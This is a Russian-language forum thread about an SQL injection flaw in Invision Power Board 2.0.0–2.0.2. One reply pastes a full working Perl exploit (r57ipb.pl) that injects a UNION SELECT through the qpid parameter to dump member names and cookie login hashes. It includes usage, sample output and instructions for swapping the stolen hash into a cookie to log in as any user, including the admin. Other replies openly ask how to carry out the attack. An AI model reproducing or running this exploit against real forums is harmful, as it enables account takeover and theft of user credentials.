Перейти к контенту
  • 0

Эксплойт


Firerain

Вопрос

SQL инъекция в Invision Power Board

Программа: Invision Power Board 2.х

 

Опасность: Высокая

 

Наличие эксплоита: Да

 

Описание: Уязвимость в Invision Power Board позволяет удаленному пользователю выполнить произвольные SQL команды на основной базе данных.

 

Уязвимость была обнаружена в результате автоматической проверки сканером безопасности Xspider 7.0.

 

 

З.Ы. Сам эксплойт приводить не буду. Но он точно есть (и у меня в том числе). Написан на перле.

 

З.З.Ы Лечится якобы апгрейдом до версии 2.0.3. Сам не пробовал.

Ссылка на комментарий
Поделиться на других сайтах

Рекомендуемые сообщения

  • 0

2 Firerain

 

а ты уверен,что это касается именно IPB,модет все-таки уяз этот к скуелу больше относится?! ;-)))

 

это по теме:http://www.securitylab.ru/49660.html

Ссылка на комментарий
Поделиться на других сайтах

  • 0

А ГДЕ ЗАПЛУ ТО ВЗЯТЬ , НАРОД ?!?!!? ПОМОГИТЕ =) АТАКУЮТ =)

#!/usr/bin/perl

use IO::Socket;

 

 

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit

## by RusH security team (www.rst.void.ru)

## coded by 1dt.w0lf

## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~

## example:

##

## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3

## ------------------------------------------------------------------------------------------------

## [>] SERVER: 127.0.0.1

## [>]    DIR: /IPB202/

## [>]  FORUM: 2

## [>]  TOPIC: 1

## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3

## [>] PREFIX:

## [>]  ID:

## ------------------------------------------------------------------------------------------------

##

## [~] PREPARE TO CONNECT...

## [+] CONNECTED

## [~] SENDING QUERY...

## [+] DONE!

##

## PREFIX: ibf_

##

## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_

## ------------------------------------------------------------------------------------------------

## [>] SERVER: 127.0.0.1

## [>]    DIR: /IPB202/

## [>]  FORUM: 2

## [>]  TOPIC: 1

## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3

## [>] PREFIX: ibf_

## [>]  ID:

## ------------------------------------------------------------------------------------------------

##

## [~] PREPARE TO CONNECT...

## [+] CONNECTED

## [~] SENDING QUERY...

## [+] DONE!

##

## --[ REPORT ]------------------------------------------------------------------------------------

## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]

## ------------------------------------------------------------------------------------------------

## Now you need edit cookie and insert new pass_hash and member_id values.

## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~

## Пару слов о возвращаемом эксплоитом результате:

## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с

## помощью которого можно войти на форум под любым юзером без ввода пароля.

## member_id это также одноименное значение из кукиса.

## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените

## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.

## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~

 

 

if (@ARGV < 5)

{

print "-------------------------------------------------------------------------\r\n";

print "    Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";

print "-------------------------------------------------------------------------\r\n";

print "usage:\r\n";

print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [uSER_ID]\r\n\r\n";

print "SERVER      - server where IPB installed\r\n";

print "/DIR/          - IPB directory or / for no directory\r\n";

print "FORUM_NUM      - number of existing forum\r\n";

print "TOPIC_NUM      - number of existing topic\r\n";

print "SID            - your session id\r\n";

print "[TABLE_PREFIX] - table prefix in database\r\n";

print "[uSER_ID]      - user id for exploiting\r\n\r\n";

print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n";

print "-------------------------------------------------------------------------\r\n";

exit();

}

 

if (@ARGV < 6) { $get_table = 1; }

 

$server = $ARGV[0];

$dir    = $ARGV[1];

$fnum = $ARGV[2];

$tnum = $ARGV[3];

$sid    = $ARGV[4];

$prefix = $ARGV[5];

$id  = $ARGV[6];

 

print "------------------------------------------------------------------------------------------------\r\n";

print "[>] SERVER: $server\r\n";

print "[>]    DIR: $dir\r\n";

print "[>]  FORUM: $fnum\r\n";

print "[>]  TOPIC: $tnum\r\n";

print "[>]    SID: $sid\r\n";

print "[>] PREFIX: $prefix\r\n";

print "[>]  ID: $id\r\n";

print "------------------------------------------------------------------------------------------------\r\n\r\n";

 

$server =~ s/(http:\/\/)//eg;

 

$path  = $dir;

$path .= "index.php?s=";

$path .= $sid;

$path .= "&act=Post&CODE=02&f=";

$path .= $fnum;

$path .= "&t=";

$path .= $tnum;

if ($get_table == 1)

{

$path .= "&qpid=r57"

}

else

{

$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1

,1,1,1,1,1%20from%20";

$path .= $prefix;

$path .= "members";

$path .= ($id)?("%20WHERE%20id=$id%20"):D"%20");

$path .= "/*";

}

print "[~] PREPARE TO CONNECT...\r\n";

 

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

 

print "[+] CONNECTED\r\n";

print "[~] SENDING QUERY...\r\n";

print $socket "GET $path HTTP/1.1\r\n";

print $socket "Host: $server\r\n";                                                                                                                                                         

print $socket "Accept: */*\r\n";

print $socket "Connection: close\r\n\r\n";

print "[+] DONE!\r\n\r\n";

 

$suc =0;

 

if ($get_table == 1)

{

while ($answer = <$socket>)

  {

  if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; }

  }

if (!$suc) { print "Exploit failed\r\n"; }

exit();

}

 

print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";

while ($answer = <$socket>)

{

if ($answer =~ /^([^:]*);)[^:]*):)[a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }

}

print "------------------------------------------------------------------------------------------------\r\n";

if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }

else { print "Exploit failed\r\n"; }

Ссылка на комментарий
Поделиться на других сайтах

  • 0

И еще одна уязвимость была... ссылку потерял... там про хеши админа было что-то... постараюсь найти

скажи как атаковать???

И мне, можно в приват :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0

d1pro

Выложил, чтоб люди в курсе были.

 

Christoph Schneider

Ссылку не стал давать только потому, что не хотел распространения этой гадости.

 

zob1ch

Не видел этой темы. Приношу свои извинения.

 

olmer2002

Может и к мускулу, но страдает форум.

 

И ешё, тот код, что тут igrok выложил, так вот это не он, хотя работает так же и скорее всего заплатка и тут работать будет!

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить на вопрос...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.